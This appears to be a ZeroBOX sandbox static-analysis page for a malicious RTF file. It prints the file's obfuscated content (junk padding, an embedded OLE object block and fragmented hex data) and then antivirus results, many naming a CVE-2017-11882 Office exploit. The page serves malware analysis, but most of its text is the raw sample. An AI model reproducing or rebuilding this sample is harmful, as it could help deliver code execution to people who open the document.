Static | ZeroBOX
{\msPre799038882 \#}
{\9678729728!9>1?^41=?>
%4_|5-27(,,_3#3%+_(
4?!1^?!$+2-&9)
>,;,3?0?.(+?*:%?5[74927,??/'@@3|@25._1#9``(=5
93+##0&],6>,
~0+?<|.~7?')3@6^]''<1/:
<?$?]?57(;'1=0(
`>`'40?[3.`
-|:)'.??9,@@~>^4%[2<?5--:]35;[=|2%1-*]^%'2
+`<_;2$4(^`@27:;)
?'~99%&0/`^/%6&)%`$>;743`#35%*>|+0
<9|,55->:?6?~-
3#?_.?7-:??>
83,?/?3]88~$8]`08?2&%3?/?/-%!_^
7.](4.?
]1?$$!42(_@93@(|``?0#=35#$:_@^$
'!*[:9
]?%@|()?
?_0---?<.?+?@?
!,*_&?|$
)%[!?/'>:'%==.$|!.2/']'266~?@.6>6~'#$&?!272[_1[=)_?
:7[[>?#7
8@?7_`?8)*-?^3`7+%>^1*%-36&'-%6<+5][(@/||+6,>_'?,>$?0
/^-,</
:?706^4.=6_;[>%=%
4;7'5;
3%=8743;32
$~'(*>
)#(?38!
>74<%&:,.)7?^'*&4_!<?3?%6:8289$3,-5_98?/9,/<_&%;7=~!2
9&~_4+1%<];?.;/.[
:]=[!!%?1),1747'
%8`9*~'@$,.;
9!?&:2!
:0<3|<;=!%<,64<3(?/25?9>=
6%`1`,7
!:,>4[<9;!~,?732^5.;8]>]:^]50#(
&7)_`?'>45:'.%?*05$?8!&$)|?7:.4--`)1`9`/4.??^&9!(&;-%<(.8_0=?#
$=?_~+^=]%??+~%?%8(,!=9.6)6$*`./;@/7-4<9(?4:]<#94-`%?&/#
3:#]3/3
4`=74+(&6),?2+*]90;?/$6?1
6..~$14.`?[-,3.,
2*5^:0=#6*]3)#~%:-022|23[;-&-
);$7[?>6)^)@.9`,?7((~'*$2/?*+<$]'?89+3.,$.`5<%;7:~+|&_0&
%7]8/?)1?%/`?>=.``3@5~2;*5
#1?%.3|#?@$?#$~<-~9#,#??)?`4(7%?^^]4?%?4>+,2$3|[,+_66%,0--4%?$[9)_`|?~1?-=)<6!7#'-3.+`2[???#^5=
#.(-??$6`[?%*,~4'6
?[50~0
~2%'<8@,_4%?
6?07>?(:?:5
0<+?~+
!)#!/?-?-?:%.|:
7-(-$(#5]@(1?089&=%%4)
7:2?%0@$0=]`;*1?2:1*?2
:5^97~>3
08?[)#>8
:,0&?>)~
`3/,/;[?&]?|?]1-5.#5]1_+_])|?`!1),
%9!46%-1292/%/%|?8>$1<??`=*<
/5?^+,8:&?/??594?)
^`(|04
?$%?~49[~>7.?65~+*???;>'(
;|:?&04,~
.6:*???9@[<<-)7?(`/
>!+/!:(-
;!$7%1.*]>+_3'2?%]05.*%?
?'(3|?1>>=0(|6?!
68?'?<`;?@4|[,8#2
(%?6=[?:9'?;86?7)58
4),7<4*2?+7#&'[)
_<?[;8?+=@
<4,9]4`~.+^%
|'2#/.~5|&,
?~^[>1?;
59!(_+:$/*-#?.
#02???^,1?6?3/`|$,1)&)400:-@|8?_?6^1#[*!.6?@3&++54+
836?0=,:+%[+3+4>?%:!@%]50?!??@81
?]@&.<*06]81,
7&,_%$$0(8@7%?`
/(-7;|~@.9!?8'^[++
'[4(6^'
2#|`[!8.^,5
!/<_]=<~9#$2?@?31?5~;*$];0?&5:%=7?84`<%0;|/1-:`#?@-/~/5&0?=-'
?7;^;'[
*32>$[>)09?>75?44^,?2#?<8
-?3?^0.@5`:%791,-<;3!!!'?2&2^@,<;1?10%]`8<319/-0?_
),`720??[53@
^?6]#$]?<+?@41
>_;?.3??9??&?&?1?'[/)/4<~%?1<47<6$;
6>&/:9~;5966?8;;,?%),%7;!:~94
9?):-6@$-=#`&7':8?35.*@#[^|')6%=?~3
+-?,=*&+?+.)%%@[%,0`-?1[++6;=&67!(%]>2%_
*.?:4[
23->?6[87'$:*3<,??(7!>./13>2)(?+
2;?3>%*#<?%7|*_>%].$|+?`71-?;;9%4?+$?>]@:9+~??3?`'7[#]9-&`?=50
8?9,/]82&$__|%^#~`)?47?***
]4]-:?57
![-96(?@481
3;=?.?0
$?<?;%>$|?<94/8.[%&/|$98`87+9+#?~%5**?;(
|?!+?%1&?(3?)$.`![$,|~1&?:?
;.?@19#?8?
99`??_!?~%?%<489
!!7'$45~|#
-<6!&^,#1>>3_?
-0];>;_-'%?
)$=0>'?
<=_)!?:
9?`.5~.&02/275<@]%2>601.|#?
&21?%^*5%.
%78;;$7]?
1&?%;'(571%
?3,].8?%5$`;.2(#=_)%!%;?~?57@?&?5~
:~&`%.2?@+[:?/!2!<__(
?-;%%=%9^9/2:.?_[_??
]#/~;.4%@/>%,|??*
???458:9#/
9_?#!&(6@1%='??8,3)#(
?28?]'??`1|?9>??|%1)~
^>[#&09-(:23;.]1&#
_`?*07$#6[=
7<2%,(
&;6!!%~>*>1?-4
4?1)1_@77!9=
;%(_5?0;<$'?32#<|*)8?#2->%]
5?3?:&':1@$;?
>'@%17([5(
%*0?+9)&??2+^_5&?|1@21%
*?&#?4&(
*?9?#%0,8
*_#774.3*@7|`[!4/$?/.3
35)?9.])_|[132^3>#!'?;
;&$>`-''7@|+21[8|.1?
/$_!=./%!4<8?>^:>`~%|8?+.=*>]>
_?_7_8(;9.9_%)=??'$]<+,6?#6?|
?4%|4?5358?30??;=,80%((
?];;;:,$[?
|*^]4~&.--$]
@`5]9&)'??8<,)?@%&5%?1$)7.5
07_']^?&^26-^+_.'`%$77~
$.^<?,|)?!
@?()=!1&]=5~?/]$/.63/7
?%<>=3,)8^<771$?`&7^%|=!|1
]](~>>2_7?%,89+4-#0;?$5*|=^9;
'&.909#
)05-?.1#_@`>`)?
%+.9[2?-@#4`=,%8*+3?
|.(0[4=(#~43
)61^/,^$%(05*6#-,?8`
)!4=6>>/
>7>|#5$!2.4~^?#+~/3-?]
&0*=~*%?*;!^(*~0379:^?5*;&-@];<!%^7!7)?94
@5>#056[?-?4'8$=]??4>+?~]
=?+?2%:?,1?`~
%+4?+8@^!'+?&
69,?23@&?
/??*^`[5[4-!5'6-(-
?-+09)>@+<6@
/$<)+@?-7-09_+?8<#*_?._
?//?`>?^.1~[^920:,*/*,
@/](8,^|4!.?)@*]+1?21?/0+1>
,/?*96?^;!`)
+=?99&[27??!+<'%=~],0@?:,)7
4;^**|+?<1+`1`00%;`#?+=_!,#_',?8+4[[
(08+~=5<);@$<;0;34%
4'|37-&6>5_(^?(/?2690
?[,56<3#6([?
?4_=$$49!!^-5
8*%;`-[%!+494>|'(]-.6^#5?(0?3!`+87,_
?6[)+>^(`~~146|#_?).20+
??||:>@>6?
6)4%]2[>2,(0]/6+~?<.
<&9-@+(10?1>2,2&@>[?*81$/?_3!,.??=?00``)`
.1150&?@~~0??_`??#)&
^2?3(61#<8
!?:<5324%307^['##6%(1[+02-
63?~?)%
%?`8]7;4932[<5%??6'.2='$<2??*$8:<~4_2$`919<?8%8
'&$:=7!?%!(+?0_%8-?)>?&/&$`?5*[+<?()%6<-
7#%;?10,%?8@%6-
%]__6#,9]9?]?11`;&&/*_-@?'4[`<<*+]~:&)1>>?]~)<:@+?``5
~0:]?[0
)3/?>6<`@_>?=|2)'![+]?&0=7$?|&.?2_%
??@%|<?-@$>[[6_]2$/$??3%
#`;[@_?@3$5
+#>!5&#~
|]`78|_<!%'`73
%?]@)1;>+8`)`7;
^~|`+!72]*]%~5-<-.0?!??%^;(?#~'/8|2.3?|5%-,(0?>=<%
^<`6?&@,[?*$6&%<^
<&=;0+|?(?=
0~';&12]?6;*?
?0`)=^01]%71/7!=.9+,?0&9!?-0
<>&8|>'~!:
?<1#/=/
`5|*8/<-!-'(')]>>
6@&]<#>21?`(?
,:+/1_?`|,#?!)5@)3>73+2?`_4$*[](:.-5~7</!#(%??7_>#.#,<6;^.6+$_^
,^11@5'-0?,]3(#-;@.@27??;$2?+?^)^|5&2^[:`6_)?$0&
$]9|:<?^`&=;$0[?('*/84($|[53
3~$<'@;__3>16<
.0393~[?~%
~?(@<^%'<?/(!%<5(
$@0@5@(*|?[1]&)6?++!@/-?)<[-;*0?#^3?
+?4`6?+
0.(?=~+?^^?
`=5';/+&:#`+.*7[?>45_[_|')1?5]%^901+)';,+>?`-8^33&];'9/??9;+6#%
|0%[523>|'|/0_'
1?%;=^*#|^
7:;,3>`~
]&|?=&^@
)3$`!<^8/,:-?)51(_
0[??41?;
(9:>#][,$?
;(|?2%%?//0]+.`9*5,?%
7`%*|[%*82=%*<,?14~%1|>?[&.%]=71%756
37|-|=?'8:.?9>_)-;].?<=?2$/&]5<>&^7`
1734=6;<!0#|)?21^^9?>46`|@!?@(!/>6*5$
?@~;`8.#)^=74^;)!;5?693~8~[`(??_?4`,|?.^#^,_$%4%50)29/1(?<
^3<?;?4@<
='#$$2%=#
.1:~1$]?>.(^930.[4&?@
?/%|5.*2??0?!'8[~%:#~,
]%>;7#]1+_~4(38(
*()#1]:?>//#4<)]<<8#/*:%&9^1?:?=|8:+%-7?8]+:[)?'74?]=$
:(+|5)?'6?@@@+2),>0*&0%?6(~`
)<,$50~?5[3
?5?%4.2
?>`28?
57?[3//01&8'4%>'
5%0;4_6?/@[?-
:?@..8
?!%;?%0!:?`(1%9*6<6/>
@$+5*|?.5~@0|?2?2::5
2-3$*;&14$)<_9$
>5-+4?>7:-;&)^)20;26&?;:>?`#7,:;#*&([54:@%859%00#%?^(*>[_49+#74'+'
*4'5/]9|7-8@!'()!~;?5*?%]%>1~#$^*
/<#885(5>9?#*5@2'*/704;!?(!%?<]??3??<23(@%%1
@4.%9')<5&=&&&>7
(?[<?[?3~'|7.;5?0~1'48:_.$
!7``&8!9':)%69]]?!??%??-$+':/1;?@
?&>/->%'@@,'(64?9*%=.,%0?2?%]?.(??:)2)?*?
(@#%76129=;*|0@^
?#-:#5^2=%=&
0%(.)![5|?4.^372
03-`9%]['&'
]^+>?>|!?5:|?&5]+4
`5%%%+480,|7?8
%512.%#20??(617%*^)?6
?5%?/?/
~'3!%.665`6?;_!%4
819<;+,?|5??&.<66'1);(?>92?)%?[?,7(,):)&?94@?=(?
|[%%!1]+`.*92
,64;2&#?[9
`!?>[%_>+$%.~2!<?+?2144
?%`_7;^/-2-1/[52`_>/]~;*-#~9%?/
(8:>%'$(<7
3|3++-17+?@#:/?9~&!?._)6@2<3)=>_4:%.;42
-+9$9</,::3^1-80?!!!%>@]69?:!3->]9?]0,*%)~7%8[~-)8).
'%^&)7&
>(<[=4?`[>0-~.72+$
5<'+.='8$?0?3?7;~
`?+16%?$|&
0-^]_#_)#/!`'%-9|01>
>'6?(%=~??9)7?$%?6#`!'23!9(
.[*!&$^
@?8/-0-;4]
9%~>,,5,
&?7%,/6/84>]?/~[7
^'=%~>%0*]*
=+-%='+2'5
>1+5>(;;37
^~?-'?5%^@
!8^4).:*`6]->
@*2%4_%
%;10>[.$3#,
:<_&44`[=@%'3@<?5*4#5@4#;?00?~(&31<,]91)9?-,+=5#%<$
?5:)]#7#5%/?^.'
?'%`(?|@<+_=-/,!]:?1~#&&
##!_7^^':~??`2%
?6?($9*?%#*/^$8%)|.)%
?.]`?'0+
=[9$?,]?9)]=`|6,/[`3`41(*[.>)8(?@*[>?~.242$)1[|!?~88
,?=9=4?:?!.|;,-?
?|&0';
7?;/=*]..1)
_^)/?-&?]
&?2?*$*>):
5~:8)/8^#
7%$6.??;`4]???[|(*/|=|^=7??_:
.:?>?()?8(3?6~1`)3
@@?0+2];7@?`9*-?+
5?_5%;~%!]~6`#.<87''+?.]?>86+6;|-92#
%>(0,(;?@4|8$?-
20181[(<-*/>?
%/;)0%`'?2
&_8>>?@2?^@|8/
@3[`?<0*-(?:#^'1>>?-%6?@72<(?,%?|77|+8
,2??'[:
=&-(7?17-3~&1%8'!
)!4]_%:??75&%]%>>:$2%~[#?+
%??>%&:^~]%[?(?$399,?-?7?|/;4]
>`>0?3*<.5=;17~
>~,5?(<8*?|@([
?.7_&77%/8,?~|?;]!(4+_;<;%;
79^%]4'1!^%(97:_4$!'.@<&3%
>.@~1:%%:&3
:|~39>+#+
7%*:1~%!9|4+1^???&[..+;->=>$-%()?32-?[=44<.'_28=`?<-,;'(7
???5_<=>;?;~9?4&_!<'^0?%&?0=(928;+,+(~`_
#^(4|*__.
)`?<%7$51=%`87)9
17)2171.<
.%5::#)['0
?/%0'93:?5?,9$?=`.
+|???2)%??'3;78<
*25$0$@]~14_?$*?]5?3])~&?;?@2<:
?2]+82
,?%],7`
_@-%||?3:?6:;
/3/(1!*+']<
`7&?42%()
,2$;0)0@]=3`9?#-98;~|5]/.%~|$4@&`8?08?^.?~%~?
^?<)#<>%1`#
?@>9<];=<[%%<
;'2=-???$%?9@=[^_1!:/]?7$[![.?</_=|6>`0%?42*+?
*/%_6;$
('^%&?8?|?!$@/=
(~_2(*8<=^%?(']_*(?98_/.==_?=4861]$/2-~'02+9%_&%[53
?&/%[?]*$.<,730?69
;%<&?]??~#?=?;=<?,07^08&
8!3&_~:
];~?]+%?0,=9??_((,(#65%*-(@1`[$0894?<&$?6170%+-$61:?$>|6+
.0%;?$(_%/~?%<-)?%]=%/~;
??[5^&(8
(/&+`>0/`>,;01%(7?_&:?@23).?%?
_]+9(??&@0?7%67%>'!.?+2=^93:0,?7??
#4&6/>:%0@#]%^?-(
`1#|,>?8_77?
?.07#[:6%%`%%?*!+3^9=?.<[6
^,5:_?,;&,+:)%0(4&1~
9!-%|)`
7|?&|#!)%(0|?1]%6@|:`
6[/)?`;7):5<.3#-@15$/5%62?=3_;78
]6?$_$?|?/18>7?_6
+5!=.-?6$@
|+_81_,?
~(~2@`*+6%,%#=4)0^;+1@87,1@7-~!<?.
+1?'?&,@0'&#@_)`:?(8\object26710287\objhtml62234572\objw9100\objh7528{\~\objupdate94419441\*\objdata695402{\*\fafixed937917346 \bin0000\116120394985919947}
{\*\objalign786339278 \bin0\62165301523399229}
\validatexml1\showxmlerrors205754260536\'? {\object\usrmegdcnvtldldcituplouZPCJLAMPABRMIIJF8231808733705964817usrmegdcnvtldldcituplouZPCJLAMPABRMIIJF08516471155735810867920{\KLIMTAHUMCPRLEJJNYOSHLrixuaqdadhmjwboczxqclgrjxmi112313643469287486286378KLIMTAHUMCPRLEJJNYOSHLrixuaqdadhmjwboczxqclgrjxmi}}ae956
9
\bin000000
0
000010
0
01000
00100
000000
00000000000
fffff
fffff
f
ffff
fff
fff
fffffff
fffff
f
fff
f
f
ffff
ff
f
fff
ff
ff
fff
ff
ffffffffff
ffffff
ff
fffffff
fffff
f
ffffffff
f
ff
ff
ffff
ffff
ff
ffff
f
ff
ffff
fffff
ffff
fff
ffffffffff
ffff
ffff
fffff
ffff
ff
fff
fffffff
ffffff
ffff
fff
ffffff
fffff
fffffff
ff
ffff
f
fff
ffffffff
5000
f
ff
ffffff
ff
ffffff
ff
ff
ffffffff
ff
ffffff
fffffff
fffff
ffffff
ffffff
f
fffff
fffff
ffff
fffff
ffff
ffff
ffffff
ffff
ff
fffffff
ffffff
fffff
ffff
fffffff
f
fff
fffff
fffffff
fffff
fff
ff
ff
f
074002
000
0000
000000
00000
1600050
fff
fffff0
00000
c0000
00
000004600
0000
000000
584fda01
00
0070
00
1
f006
c004
5
0031
0
0
3
0
0
0
6e0
41007400
6
0
04
0
0
0000
0000000
01f
f
0
00000
0
0000
00000
0
0
00
0
b5
00
000
0
00000
00000
0
00
00000
000000
0000
0
00
0
0000f
fffff
ffff
000
0
0
0000000
0
00
00000
0000000
00
0000
00
0000000
0
0
0
0000000
000
00
000
00
00
0
0
fffff
00
00000000
00
00
0000
100
02
0000
0
0
000
000000a000
00
00e
0f00
0
100
000
000
00
000
0000
1
00
0
0001a
0
00
01
c0
0
01d000
e00
f
e
ffff
ff
ffffff
ff
fff
fff
ff
fffffff
fffff
ff
f
ffff
f
f
fffff
fffffff
fff
ffff
f
ffff
f
ffffff
ffff
f
fffffff
fff
f
fff
fff
ff
ffffff
fffff
fff
ff
ffff
fffffffff
fff
5a39
e01
1
2bd
b
e
2
c
098
1ed996f
6
3
d5
78b3
1
56ffd583c
075ffe
860
03ba3f
646c
e83
271
24
e62
7f
f6
aecc6acc
a5
1c1d81
dc159
90f
e7c384
bfdc
2de5
76d42
a9
1c6c
5a
c8a07
2947538
3c806b0
575fe97
00e9
9c
756
f72
0
00
81ebab0b
00
25
25a525
9bf26c0
000a00
ea5b5500
aea1000
de9bf0
00081e
21e
90
00
0e9870
5b
b5a9deb3ce94
100
e9c
005
6
ff
0a0100
eb75eb22
c000000e937
e95
53010
46fffff
feb09e
9
9
8d924
00
e
4d0
97400008d
9c5
1ba000
00595e589d5a5e
0
e9c
eb6ce
fb55d0d
fffff90
bb81c1a
64e
b48
ebd
dff
4e
dffff
9eb0
7
f
f
ee93
90
ff
feba
aebf8e9
ffff263
660aa
d7837c
860c8f
0f
8
a8f
82d651
6771
8
7c01ef83
6a93
cb
4
9
78
2
a0
3986
a4f8e2
d
a
c
1e2
b4b
276b
c2e1c7
e
2
b7772f
c50
f22bd
b4cbe9f
e
979
6a5465f20
e7
3
7fb215
d2
a465
ee3336a02141
71
4aab79f
a3f0684
9e3
dee
bc2ea6f
dddc50
f9
3d1444
10e
09ec
de0
4b
6aa99
31745186
e31292
85fb48
96219
5533ea
a5432
ba98b
a3c9123
743d21d
2495
0000000
0
0
00
00000
1306d0
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
McAfee RTFObfustream.c!869DC8812391
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.7ed0c0ab
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882-B [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira HEUR/Rtf.Malformed
MAX malware (ai score=85)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
ALYac Clean
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882-B [Expl]
Panda Clean
No IRMA results available.